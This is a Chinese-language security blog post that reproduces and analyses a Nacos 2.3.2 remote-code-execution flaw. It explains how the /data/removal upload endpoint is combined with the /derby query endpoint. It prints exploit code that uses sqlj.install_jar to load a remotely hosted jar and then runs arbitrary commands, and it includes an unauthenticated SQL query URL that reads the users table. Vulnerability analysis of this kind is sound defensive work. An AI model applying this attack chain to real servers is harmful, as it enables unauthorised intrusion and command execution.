笔者的第一篇文章,想和大家一起分析一下上周比较火的nacos 漏洞。
漏洞复现
网上的github项目已经被删除,大家需要自己找一下。
接着下载nacos的项目,可以去nacos官网下载,然后选择2.3.2的版本
https://download.nacos.io/nacos-server/nacos-server-2.3.2.zip
下载后,笔者选择同时用本机做攻击机和靶机,来进行漏洞的复现
启动nacos的环境,进入bin目录下
startup.cmd -m standalone
运行攻击脚本
python service.py
python exploit.py
漏洞分析
首先我们看一下之前爆出来的Nacos sql注入漏洞. https://github.com/alibaba/nacos/issues/4463
在com/alibaba/nacos/config/server/controller/ConfigOpsController.java /derby接口下,攻击者可以未授权进行sql语句的执行,下面是修复后的代码,加了@Secured进行认证,防止攻击者未授权访问接口。我们直接从网上下载后进行启动,没有开启鉴权,所以可以直接访问,进行sql语句的执行。
http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20
//修复后的代码,加入了Secured进行认证 @GetMapping(value = "/derby")
@Secured(action = ActionTypes.READ, resource = "nacos/admin")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) { String selectSign = "SELECT";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (!DatasourceConfiguration.isEmbeddedStorage()) {
return RestResultUtils.failed("The current storage mode is not Derby");
}
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) { if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
// queryForList不能操作,只能查询
List<Map<String, Object>> result = template.queryForList(sql); return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
看完第一个接口我们来看这个文件下的/data/removal接口
@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
DeferredResult<RestResult<String>> response = new DeferredResult<>(); if (!DatasourceConfiguration.isEmbeddedStorage()) {
response.setResult(RestResultUtils.failed("Limited to embedded storage mode")); return response;
}
DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class); WebUtils.onFileUpload(multipartFile, file -> {
NotifyCenter.publishEvent(new DerbyImportEvent(false));
//使用dataImport方法
databaseOperate.dataImport(file).whenComplete((result, ex) -> { NotifyCenter.publishEvent(new DerbyImportEvent(true));
if (Objects.nonNull(ex)) {
response.setResult(RestResultUtils.failed(ex.getMessage())); return;
}
response.setResult(result);
});
}, response);
return response;
}
进行文件的上传,然后跟进dataImport方法
futures.add(CompletableFuture.runAsync(() -> results.add(doDataImport(jdbcTemplate, sqls))));
继续跟进doDataImport方法,看看是怎么执行的
default Boolean doDataImport(JdbcTemplate template, List<ModifyRequest> requests)
{
final String[] sql =
requests.stream().map(ModifyRequest::getSql).map(DerbyUtils::insertStatementCorrec tion)
.toArray(String[]::new);
//开始执行
int[] affect = template.batchUpdate(sql);
return IntStream.of(affect).count() == requests.size();
}
这里就可以看到是由将file中的sql语句逐行加载,然后使用template.batchUpdata进行执行,batchUpdate(sql)无法进行查询,用于执行批量的更新、插入或删除操作。
我们传一个查询的sql语句,显示不允许查询。
最后我们就可以看Poc是如何处理的了,poc分为2个部分
1.service.py
将执行命令的payload用flask框架,放在了服务器上。
2.exploit.py分析一下关键代码
for i in range(0,sys.maxsize):
//不断循环生成id
id =''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
// 导入一个类到数据库中,就是服务器上的payload
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
// 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
// 把服务器上的payload拿来,创建一个自定义函数 `S_EXAMPLE_{id}`,接收一个参数
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME'test.poc.Example.exec'\n""".format(id=id,service=service);
// 执行 S_EXAMPLE_{id}('{cmd}')函数,然后返回结果
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
这样我们就分析完了, /derby接口只能查询, 不能进行操作,/data/removal接口只能操作,不能查询,我们先通过/data/removal接口进行恶意sql语句的上传,将我们的payload注入数据库中,创建函数,然后使用查询的 /derby接口,调用函数执行命令,并返回结果。